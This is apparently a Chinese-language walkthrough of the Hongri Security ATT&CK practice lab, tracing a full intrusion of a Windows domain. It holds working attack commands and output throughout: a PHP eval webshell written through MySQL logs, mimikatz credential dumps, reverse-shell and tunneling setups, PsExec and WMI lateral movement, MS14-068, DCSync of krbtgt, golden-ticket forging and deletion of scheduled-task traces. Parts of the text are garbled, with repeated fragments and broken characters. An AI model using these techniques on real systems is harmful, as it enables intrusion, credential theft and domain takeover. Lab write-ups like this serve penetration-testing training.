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红日安全靶场ATT&CK(从前渗透到后渗透)

渗透测试训练营 624

前言:

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涉及到的知识点

一、环境搭建

1.环境搭建测试

2.信息收

二、漏洞利用

3.漏洞搜索与利用

4.后台Getshell上传技巧

5.系统信息收集

三、内网搜集

7.内网--继续信息收集

8.内网攻击姿势--信息泄露

9.内网攻击姿势-MS08-067

10.内网攻击姿势-SMB远程桌面口令猜测

11.内网攻击姿势-Oracle数据库TNS服务漏洞

12.内

四、横向移动

13.内网其它主机端口-文件读取

14.内网其它主机端口-redis

15.内网其它主机端口-redis Getshell

16.内网其它主机端口-MySQL数据库

1

五、构建通道

18.内网其它主机端口-代

六、持久控制

19.域渗透-域成员信息收集

20.域渗透-基础服务弱口令探测及深度利用之powershell

21.域渗透-横向移动[wmi利用]

22.域渗透-C2命令执行

23.域渗透-利用DomainFronting实现对beacon的深度隐藏

七、痕迹清理

25、日志清理

利用

-C2命令执行

23.域渗透-利用DomainFronting实现对beacon的深度隐藏

24.域渗透-域控实现与利

七、痕迹清理

25、日志清理

设置vm2网卡(192.168.52.0)

设置vm1网卡(192.168.33.0)

前期打点

nmap扫描

root@kepler:~/桌面# nmap -sV -Pn 192.168.33.5 --script=vuln

Starting Nmap 7.80 ( ) at 2020-03-18 14:30 CST

Stats: 0:02:55 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 78.85% done; ETC: 14:33 (0:00:32 remaining)

Stats: 0:03:42 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 98.89% done; ETC: 14:33 (0:00:02 remaining)

Nmap scan report for 192.168.33.5

Host is up (0.00045s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)

|_clamav-exec: ERROR: Script execution failed (use -d to debug)

|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)

| http-csrf:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.33.5

| Found the following possible CSRF vulnerabilities:

|

| Path:

| Form id:

| Form action: /l.php#bottom

|

| Path:

| Form id:

|_ Form action: /l.php#bottom

|_http-dombased-xss: Couldn't find any DOM based XSS.

| http-enum:

| /phpinfo.php: Possible information file

| /phpmyadmin/: phpMyAdmin

| /phpMyAdmin/: phpMyAdmin

|_ /PHPMyAdmin/: phpMyAdmin

| http-phpself-xss:

| VULNERABLE:

| Unsafe use of $_SERVER["PHP_SELF"] in PHP files

| State: VULNERABLE (Exploitable)

| PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.

|

| Extra information:

|

| Vulnerable files with proof of concept:

|

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.33.5

| References:

|

|_

|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45

| http-slowloris-check:

| VULNERABLE:

| Slowloris DOS attack

| State: LIKELY VULNERABLE

| IDs: CVE:CVE-2007-6750

| Slowloris tries to keep many connections to the target web server open and hold

| them open as long as possible. It accomplishes this by opening connections to

| the target web server and sending a partial request. By doing so, it starves

| the http server's resources causing Denial Of Service.

|

| Disclosure date: 2009-09-17

| References:

|

|_

| http-sql-injection:

| Possible sqli for queries:

|

|

|

|

|

|

|

| Possible sqli for forms:

| Form at path: /, form's action: /l.php#bottom. Fields that might be vulnerable:

| host

| port

| login

| funName

| Form at path: /l.php, form's action: /l.php#bottom. Fields that might be vulnerable:

| host

| port

| login

|_ funName

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)

3306/tcp open mysql MySQL (unauthorized)

|_clamav-exec: ERROR: Script execution failed (use -d to debug)

|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)

MAC Address: 00:0C:29:D7:7E:A2 (VMware)

Service detection performed. Please report any incorrect results at .

Nmap done: 1 IP address (1 host up) scanned in 250.55 seconds

扫描目录

通过扫描发现了一个备份rar,beifen.rar

解压得到yxcms

试试访问路径

curl -i

看到后台路径和账号密码

后台GetShell

成功登陆到yxcms的后台

在模版下添加一句话木马,蚁剑连接

成功连接

Mysql写webshell

select '<?php eval($_POST[a]);?>' INTO OUTFILE 'C:/phpStudy/WWW/aa.php'

发现有安全模式

查看这个的值,为NULL不可读写

show global variables like '%secure%';

show variables like '%general%';查询全局日志变量配置

set global general_log=on; 开启日志

set global general_log_file='C:/phpStudy/WWW/web1.php'; 设置日志位置为网站目录

select '<?php @eval($_POST['aaa']);?>';

之后蚁剑去连接

内网信息搜集

查看当前权限

whoami && whoami /priv

查看ip

ipconfig /all

通过这个看到存在域

查看系统信息

systeminfo

查看网络连接

netstat -ano

查看安装应用

wmic product get name,version

查看进程

tasklist /v

net start ------ 查看当前运行的服务

看到一些进程是域管理员启动的,可以窃取进程

查看远程连接信息

cmdkey /l

查看杀软

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

查看在线用户

quser

查看密码复杂策略

net accounts ------ 查看本地密码策略

net accounts /domain ------ 查看域密码策略

查看当前系统版本

wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看本机用户列表

net user

查看本机管理员

net localgroup administrators

net localgroup administrators /domain 登录本机的域管理员

查看当前登录域

net config workstation

查看域用户

net user /domain

查看域里的工作组

net group /domain

查看域管理员的用户组

net group "domain admins" /domain

查看域控制器

net group "domain controllers" /domain

查看域机器

net group "domain computers" /domain

查看arp信息

arp -a

mimikatz读取密码如下:

privilege::debug

sekurlsa::logonpasswords

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1957949 (00000000:001de03d)

Session : Interactive from 1

User Name : Administrator

Domain : GOD

Logon Server : OWA

Logon Time : 2020/5/14 21:42:51

SID : S-1-5-21-2952760202-1353902439-2381784089-500

msv :

[00000003] Primary

* Username : Administrator

* Domain : GOD

* NTLM : 85c1491a3c765c7ae64f73dd12b2c005

* SHA1 : b94ef91fcca7e093910779ddb25cd7189b330037

tspkg :

* Username : Administrator

* Domain : GOD

* Password : hongrisec@2019:

wdigest :

* Username : Administrator

* Domain : GOD

* Password : hongrisec@2019:

kerberos :

* Username : Administrator

* Domain : GOD.ORG

* Password : hongrisec@2019:

ssp :

credman :

Authentication Id : 0 ; 997 (00000000:000003e5)

Session : Service from 0

User Name : LOCAL SERVICE

Domain : NT AUTHORITY

Logon Server : (null)

Logon Time : 2020/5/14 21:34:40

SID : S-1-5-19

msv :

tspkg :

wdigest :

* Username : (null)

* Domain : (null)

* Password : (null)

kerberos :

* Username : (null)

* Domain : (null)

* Password : (null)

ssp :

credman :

Authentication Id : 0 ; 996 (00000000:000003e4)

Session : Service from 0

User Name : STU1$

Domain : GOD

Logon Server : (null)

Logon Time : 2020/5/14 21:34:39

SID : S-1-5-20

msv :

[00000003] Primary

* Username : STU1$

* Domain : GOD

* NTLM : 31f4fed3bf6b625f10c3e98486edf58a

* SHA1 : 21f629c16524d1bb00e8af538dd5d44a2bfe97dc

tspkg :

wdigest :

* Username : STU1$

* Domain : GOD

* Password : 6c 20 79 c9 3c 4c f9 5f a1 85 63 94 cd 33 0d 35 e3 9e ee ab 89 7d 58 b1 51 4d f6 db cd 1b e5 42 ea 2d f4 29 30 8f ea fe 05 78 cc ed ad 54 a0 44 68 ef d6 31 30 73 2d 91 9f e6 11 9a be a2 6b 3c ac 81 21 6e 7b f6 5b da ae bc a1 4a 73 50 6a 28 9e 2b d7 8c cf 8c 8e 68 b0 11 2d d0 e3 5f 21 48 26 4b d1 e1 f8 4f 24 2a 04 ff 8a 08 46 31 a2 f8 a0 76 9e 0c 45 a8 ec 6b d0 4a 4b 87 ab 26 a0 25 d2 15 72 2a 0e 42 af e1 2f a8 f2 fc 30 cd 71 ad ae 7a 11 a7 27 0a 33 ea 2b 11 dd 02 ab f6 8b bd b2 2b 77 72 22 89 3e dd f2 75 6c 0a 40 3b b1 17 6f 5d ee 2c 96 f5 2e 2d 90 61 05 8a d1 73 37 e8 8a dc 01 7a 8f f4 2f 2c dc 3b eb 22 68 df 21 34 87 0e aa 5a 0e d4 47 92 c6 17 5e 28 15 90 5e 21 17 31 ed 44 36 4e dc e9 55 2f fc 30 e7 d6 df 70

kerberos :

* Username : stu1$

* Domain : GOD.ORG

* Password : 6c 20 79 c9 3c 4c f9 5f a1 85 63 94 cd 33 0d 35 e3 9e ee ab 89 7d 58 b1 51 4d f6 db cd 1b e5 42 ea 2d f4 29 30 8f ea fe 05 78 cc ed ad 54 a0 44 68 ef d6 31 30 73 2d 91 9f e6 11 9a be a2 6b 3c ac 81 21 6e 7b f6 5b da ae bc a1 4a 73 50 6a 28 9e 2b d7 8c cf 8c 8e 68 b0 11 2d d0 e3 5f 21 48 26 4b d1 e1 f8 4f 24 2a 04 ff 8a 08 46 31 a2 f8 a0 76 9e 0c 45 a8 ec 6b d0 4a 4b 87 ab 26 a0 25 d2 15 72 2a 0e 42 af e1 2f a8 f2 fc 30 cd 71 ad ae 7a 11 a7 27 0a 33 ea 2b 11 dd 02 ab f6 8b bd b2 2b 77 72 22 89 3e dd f2 75 6c 0a 40 3b b1 17 6f 5d ee 2c 96 f5 2e 2d 90 61 05 8a d1 73 37 e8 8a dc 01 7a 8f f4 2f 2c dc 3b eb 22 68 df 21 34 87 0e aa 5a 0e d4 47 92 c6 17 5e 28 15 90 5e 21 17 31 ed 44 36 4e dc e9 55 2f fc 30 e7 d6 df 70

ssp :

credman :

Authentication Id : 0 ; 52651 (00000000:0000cdab)

Session : UndefinedLogonType from 0

User Name : (null)

Domain : (null)

Logon Server : (null)

Logon Time : 2020/5/14 21:34:39

SID :

msv :

[00000003] Primary

* Username : STU1$

* Domain : GOD

* NTLM : 31f4fed3bf6b625f10c3e98486edf58a

* SHA1 : 21f629c16524d1bb00e8af538dd5d44a2bfe97dc

tspkg :

wdigest :

kerberos :

ssp :

credman :

Authentication Id : 0 ; 999 (00000000:000003e7)

Session : UndefinedLogonType from 0

User Name : STU1$

Domain : GOD

Logon Server : (null)

Logon Time : 2020/5/14 21:34:39

SID : S-1-5-18

msv :

tspkg :

wdigest :

* Username : STU1$

* Domain : GOD

* Password : 6c 20 79 c9 3c 4c f9 5f a1 85 63 94 cd 33 0d 35 e3 9e ee ab 89 7d 58 b1 51 4d f6 db cd 1b e5 42 ea 2d f4 29 30 8f ea fe 05 78 cc ed ad 54 a0 44 68 ef d6 31 30 73 2d 91 9f e6 11 9a be a2 6b 3c ac 81 21 6e 7b f6 5b da ae bc a1 4a 73 50 6a 28 9e 2b d7 8c cf 8c 8e 68 b0 11 2d d0 e3 5f 21 48 26 4b d1 e1 f8 4f 24 2a 04 ff 8a 08 46 31 a2 f8 a0 76 9e 0c 45 a8 ec 6b d0 4a 4b 87 ab 26 a0 25 d2 15 72 2a 0e 42 af e1 2f a8 f2 fc 30 cd 71 ad ae 7a 11 a7 27 0a 33 ea 2b 11 dd 02 ab f6 8b bd b2 2b 77 72 22 89 3e dd f2 75 6c 0a 40 3b b1 17 6f 5d ee 2c 96 f5 2e 2d 90 61 05 8a d1 73 37 e8 8a dc 01 7a 8f f4 2f 2c dc 3b eb 22 68 df 21 34 87 0e aa 5a 0e d4 47 92 c6 17 5e 28 15 90 5e 21 17 31 ed 44 36 4e dc e9 55 2f fc 30 e7 d6 df 70

kerberos :

* Username : stu1$

* Domain : GOD.ORG

* Password : 6c 20 79 c9 3c 4c f9 5f a1 85 63 94 cd 33 0d 35 e3 9e ee ab 89 7d 58 b1 51 4d f6 db cd 1b e5 42 ea 2d f4 29 30 8f ea fe 05 78 cc ed ad 54 a0 44 68 ef d6 31 30 73 2d 91 9f e6 11 9a be a2 6b 3c ac 81 21 6e 7b f6 5b da ae bc a1 4a 73 50 6a 28 9e 2b d7 8c cf 8c 8e 68 b0 11 2d d0 e3 5f 21 48 26 4b d1 e1 f8 4f 24 2a 04 ff 8a 08 46 31 a2 f8 a0 76 9e 0c 45 a8 ec 6b d0 4a 4b 87 ab 26 a0 25 d2 15 72 2a 0e 42 af e1 2f a8 f2 fc 30 cd 71 ad ae 7a 11 a7 27 0a 33 ea 2b 11 dd 02 ab f6 8b bd b2 2b 77 72 22 89 3e dd f2 75 6c 0a 40 3b b1 17 6f 5d ee 2c 96 f5 2e 2d 90 61 05 8a d1 73 37 e8 8a dc 01 7a 8f f4 2f 2c dc 3b eb 22 68 df 21 34 87 0e aa 5a 0e d4 47 92 c6 17 5e 28 15 90 5e 21 17 31 ed 44 36 4e dc e9 55 2f fc 30 e7 d6 df 70

ssp :

credman :

读取完本机信息,开始进行横向拓展

内网穿透

kali上执行

./ew_for_linux64 -s rcsocks -l 1080 -e 112

肉鸡上执行

ew_for_Win.exe -s rssocks -d 192.168.33.3 -e 112

之后配置proxychains

vim /etc/proxychains.conf

msf自带的代理

auxiliary/server/socks4a

配置proxychains

内网扫描

使用cs的扫描模块对192.168.52.0/24进行扫描

发现机器

使用lodan扫描内网

Ladon 192.168.52.0/24 OnlinePC

Ladon 192.168.52.0/24 oSscan

使用nbtscan扫描主机

C:\Users\Administrator\Downloads>nbt.exe 192.168.52.0/24

nbt.exe 192.168.52.0/24

192.168.52.1 WORKGROUP\DESKTOP-SVDB0O0 SHARING

192.168.52.138 GOD\OWA SHARING DC

192.168.52.141 GOD\ROOT-TVI862UBEH SHARING ?

192.168.52.143 GOD\STU1 SHARING

*timeout (normal end of scan)

cs和msf联动

Cobalt strike 派生 shell 给 MSF

首先msf创建监听

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.33.3

msf exploit(handler) > set lport 6666

msf exploit(handler) > exploit -j

之后在cs上

创建监听

成功接收到会话

如果需要连接3389可开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

或者关闭防火墙

run post/windows/manage/enable_rdp

MSF添加路由进行内网渗透

查看当前网段

run get_local_subnets

添加路由

run autoroute -s 192.168.52.0/24

横向移动

psexec

直接kllist看到当前存在凭证

-accepteula初次打开会出现一堆信息,添加这个命令不会出现一堆信息

PsExec.exe -accepteula \\owa.god.org cmd

PsExec.exe \\owa.god.org -u god\Administrator -p hongrisec@2019: cmd.exe

PsExec.exe \\192.168.52.138 -u god\Administrator -p hongrisec@2019: -s cmd /c "quser"

利用WMIEXEC横向移动

wmiexec是psexec的升级版,比较好用

cscript.exe wmiexec.vbs /cmd 192.168.52.138 god\Administrator hongrisec@2019: "ipconfig" 单条命令模式

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 god\Administrator hongrisec@2019: 半交互模式

利cobaltstrike横向移动

因为192.168.52.0/24段不能直接连接到192.168.33.3(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

首先

利用cs的派生会话

得到一个派生的会话

hash传递

拿到域内所有机器

或者利用token窃取

成功拿到服务器

利用msf进行hash传递

添加路由

run autoroute -s 192.168.52.0/24

利用getsystem提权

获取hash

run post/windows/gather/hashdump

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY fd4639f4e27c79683ae9fee56b44393f...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

利用msf直接获取meterpreter

使用正向连接

sf5 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec

msf5 exploit(windows/smb/psexec) > show options

set payload windows/meterpreter/bind_tcp

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS 192.168.52.141 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

RPORT 445 yes The SMB service port (TCP)

SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share

SMBDomain god no The Windows domain to use for authentication

SMBPass hongrisec@2019: no The password for the specified username

SMBUser Administrator no The username to authenticate as

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)

LPORT 9912 yes The listen port

RHOST 192.168.52.141 no The target address

Exploit target:

Id Name

-- ----

0 Automatic

msf5 exploit(windows/smb/psexec) > set RHOST 192.168.52.141

RHOST => 192.168.52.141

msf5 exploit(windows/smb/psexec) > exploit

[*] 192.168.52.141:445 - Connecting to the server...

[*] 192.168.52.141:445 - Authenticating to 192.168.52.141:445|god as user 'Administrator'...

[*] 192.168.52.141:445 - Selecting native target

[*] 192.168.52.141:445 - Uploading payload... NdNRbMHz.exe

[*] 192.168.52.141:445 - Created \NdNRbMHz.exe...

[+] 192.168.52.141:445 - Service started successfully...

[*] 192.168.52.141:445 - Deleting \NdNRbMHz.exe...

[*] Started bind TCP handler against 192.168.52.141:9912

[*] Sending stage (180291 bytes) to 192.168.52.141

[*] Meterpreter session 2 opened (192.168.33.3-192.168.33.5:0 -> 192.168.52.141:9912) at 2020-05-22 14:12:38 +0800

meterpreter >

利用msf的psexec执行命令

use auxiliary/admin/smb/psexec_command

msf5 auxiliary(admin/smb/psexec_command) > set RHOSTS 192.168.52.138 ip

RHOSTS => 192.168.52.138

msf5 auxiliary(admin/smb/psexec_command) > set SMBDOMAIN god 域名 god/Administrator

SMBDOMAIN => god

msf5 auxiliary(admin/smb/psexec_command) > set SMBUSER Administrator 域用户

SMBUSER => Administrator

msf5 auxiliary(admin/smb/psexec_command) > set SMBPASS hongrisec@2019: 密码 或者hash

SMBPASS => hongrisec@2019:

msf5 auxiliary(admin/smb/psexec_command) > set COMMAND ipconfig 命令

COMMAND => ipconfig

msf5 auxiliary(admin/smb/psexec_command) > exploit

[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...

[*] 192.168.52.138:445 - checking if the file is unlocked

[*] 192.168.52.138:445 - Getting the command output...

[*] 192.168.52.138:445 - Executing cleanup...

[+] 192.168.52.138:445 - Cleanup was successful

[+] 192.168.52.138:445 - Command completed successfully!

[*] 192.168.52.138:445 - Output for "ipconfig":

Windows IP ����

���������� ��������:

�����ض��� DNS ��׺ . . . . . . . :

�������� IPv6 ��. . . . . . . . : fe80::482e:ddf9:ce9f:4854%11

IPv4 �� . . . . . . . . . . . . : 192.168.52.138

�������� . . . . . . . . . . . . : 255.255.255.0

Ĭ������. . . . . . . . . . . . . : 192.168.52.2

���������� isatap.{D7C92CB6-1939-46AC-85CE-50401CEC5056}:

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�����ض��� DNS ��׺ . . . . . . . :

[*] 192.168.52.138:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

利用IPC入侵

建立ipc连接

net use \\192.168.52.138\ipc$ "hongrisec@2019:" /user:god\Administrator

C:\Windows\system32>dir \\192.168.52.138\c$

dir \\192.168.52.138\c$

Volume in drive \\192.168.52.138\c$ has no label.

Volume Serial Number is 1E4D-1970

Directory of \\192.168.52.138\c$

2019/10/13 13:06 <DIR> ExchangeSetupLogs

2019/08/24 21:55 <DIR> inetpub

2009/07/14 11:20 <DIR> PerfLogs

2019/08/24 21:34 <DIR> Program Files

2019/08/24 21:34 <DIR> Program Files (x86)

2019/10/13 18:01 <DIR> redis

2020/05/14 22:11 <DIR> Users

2020/05/22 13:41 <DIR> Windows

0 File(s) 0 bytes

8 Dir(s) 13,964,476,416 bytes free

C:\Windows\system32>

查看目标机器运行的进程

C:\Users\Administrator\Downloads>tasklist /S 192.168.52.138 /U god\Administrator /P hongrisec@2019:

利用计划任务获取机器权限

查看时间目标机器时间

C:\Windows\system32>net time \\192.168.52.138

net time \\192.168.52.138

Current time at \\192.168.52.138 is 2020/5/22 17:12:03

The command completed successfully.

C:\Windows\system32>

copy mimikatz.exe \\192.168.52.138\c$

copy mimidrv.sys \\192.168.52.138\c$

copy mimilib.dll \\192.168.52.138\c$

at \\192.168.52.138 17:29:00 C:\mimi.bat

mimi.bat的内容为

c:\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit>1.txt

copy mimikatz_x64.exe \\192.168.52.138\c$

计划任务执行

at \\192.168.52.138 17:54:00 cmd.exe /c "C:\mimikatz_x64.exe>1.txt"

清除痕迹

#清除at记录 at \\192.168.1.1 ID /delete

net use 远程名称 /del /y

ms14-068

Benjamin Delpy(mimikatz的作者)写了一个MS14-068的利用工具,叫Kekeo,是PyKEk的升级版,他能够找到并定位有漏洞的域控,在打了补丁(KB3011780)和 2012/2012r2域控情况下仍能奏效。

在利用ms14-068漏洞之前,建议先使用 klist/purge 清除服务器端缓存的 Kerberos 凭据,且使用域控地址不使用I

1.获取域用户的SID

SID(安全标识符),是为域或本地计算机中创建每个帐户所分配的唯一ID字符串。

字符串。

whoami /all

S-1-5-21-2952760202-1353902439-2

输入klist查看票据

如果有就输入klist purge清除

入klist purge清除

ms14-068.exe -u Administrator@god.org -p "hongrisec@2019:" -s S-1-5-21-2952760202-1353902439-2381784089-500 -d owa.god.org

-u 域用户@域名

-s 域用户SID

-d 域控制器地址

-p 域成员密码

再使用mimikatz将票据(TGT)注入到当前内存中,来伪造kerberos协议认证证书

中,来伪造kerberos协议认证证书。

证证书。

kerberos::purge //清空当前所有凭证

kerberos::list //查看当前凭证

kerberos::ptc TGT_Administrator@god.org.ccache //将票据注入到内存中

kerberos::ptt TGT_A

依然是使用ms14-068生成一个票据。

执行命令后会在当前目录生成.ccache 的文件

然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式,也就是user.ticket

件转化为kirbi格式,也就是user.ticket

python KrbCredExport.py TGT_ti

现在使用kekeo版

输入klist查看票据

u

现在使用kekeo版

输入klist查看票据

输入klist查看票据

如果有就输入klist purge清除

kekeo.exe /domain:god.org /user:Adminstra

可以直接使用mimikatz获取krbtgt的hash

可以直接使用mimikatz获取krbtgt的has

imikatz获取krbtgt的hash

hash

privilege::debug

mimikatz log

mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt

[DC] 'god.org' will be the domain

[DC] 'owa.god.org' will be the DC server

[DC] 'krbtgt' will be the user account

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )

Account expiration :

Password last change : 2019/8/24 21:44:23

Object Security ID : S-1-5-21-2952760202-1353902439-2381784089-502

Object Relative ID : 502

Credentials:

Hash NTLM: 58e91a5ac358d86513ab224312314061

ntlm- 0: 58e91a5ac358d86513ab224312314061

lm - 0: a151f0fbafab56da67864278a60a75e8

Supplemental Credentials:

* Primary:Kerberos-Newer-Keys *

Default Salt : GOD.ORGkrbtgt

Default Iterations : 4096

Credentials

aes256_hmac (4096) : a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2

cd9b128308cef74df

aes128_hmac (4096) : 2e35721544960f553afcba54252d7b13

des_cbc_md5 (4096) : 8cc1019b7ccd1319

rc4_plain (4096) : 58e91a5ac358d86513ab224312314061

* Primary:Kerberos *

Default Salt : GOD.ORGkrbtgt

Credentials

des_cbc_md5 : 8cc1019b7ccd1319

rc4_plain : 58e91a5ac358d86513ab224312314061

* Packages *

Kerberos-Newer-Keys

* Primary:WDigest *

01 abb457b021966fc900dc1cebd9c4d188

02 2d15787683382a038d82e156840ecb77

03 18ef670658849985036123a064571815

04 abb457b021966fc900dc1cebd9c4d188

05 2d15787683382a038d82e156840ecb77

06 7ae9071dab444ffbc1501482b8da7fcf

07 abb457b021966fc900dc1cebd9c4d188

08 e9bf3798e5576c80edb166bfdafdd619

09 e9bf3798e5576c80edb166bfdafdd619

10 5f7902c1420805e10f6cd9eec52a8ef2

11 5703bb42566a5fc66608da6d5f970edd

12 e9bf3798e5576c80edb166bfdafdd619

13 7c25bef95327fc5526d56998fd8f0559

14 5703bb42566a5fc66608da6d5f970edd

15 218957cc83eb53a3b8bbe1b224dff044

16 218957cc83eb53a3b8bbe1b224dff044

17 05a7d647bdbb4585bb7c16fdff9a134d

18 fd69eb9c15b4d06b66d64bb6654ec88c

19 016f7e4fb4d3479153aed646b3f68fff

20 579c3a2eccfb4a5ce12a6bef37168cd1

21 d6dca44013c12ed0fbb36f0f21a016ac

22 d6dca44013c12ed0fbb36f0f21a016ac

23 2eab868d52e16908d3ee3b44edf00a39

24 0b518bae8d78e8d2961e429d16f361fc

25 0b518bae8d78e8d2961e429d16f361fc

26 b2c7b7ae7e52799e7f8d71350f983583

27 786df62e1c05700ff1bfae6bad92ac76

28 16464caeecd021b600794f8f36947f86

29 eb729371fa8cc2a1e43c4c6614f60f3b

mimikatz #

有2种方法生成票据,利用aes,或者利用hash

重要的需要域的sid krbtgt的ntlm hash,和aes256_hmac

黄金票据的2种利用方法生成黄金票据导出为文件

# 使用krbtgt的hash值:

mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi

# 使用krbtgt的aes256值:

mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi

利用

mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi

# 导入票据

mimikatz::ptt test.kribi

#检验缓存票据

PS C:\Users\Administrastor> klist

#利用票据访问

PS C:\Users\Administrastor> net use \\xx.domain-name

dir \\xx.domain-name\c$

生成黄金票据导入到内存

mimikatz# "kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ptt" exit

mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<aes256_hmac> /user:<任意用户名> /ptt" exit

#利用票据访问

PS C:\Users\Administrastor> net use \\xx.domain-name

dir \\xx.domain-name\c$

利用PsExec 访问

psexec \\192.168.52.138 cmd

利用wmiexec.vbs

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 获取半交互

cscript.exe wmiexec.vbs /cmd 192.168.52.138 "command"

最后说一句:kelper永远滴神!

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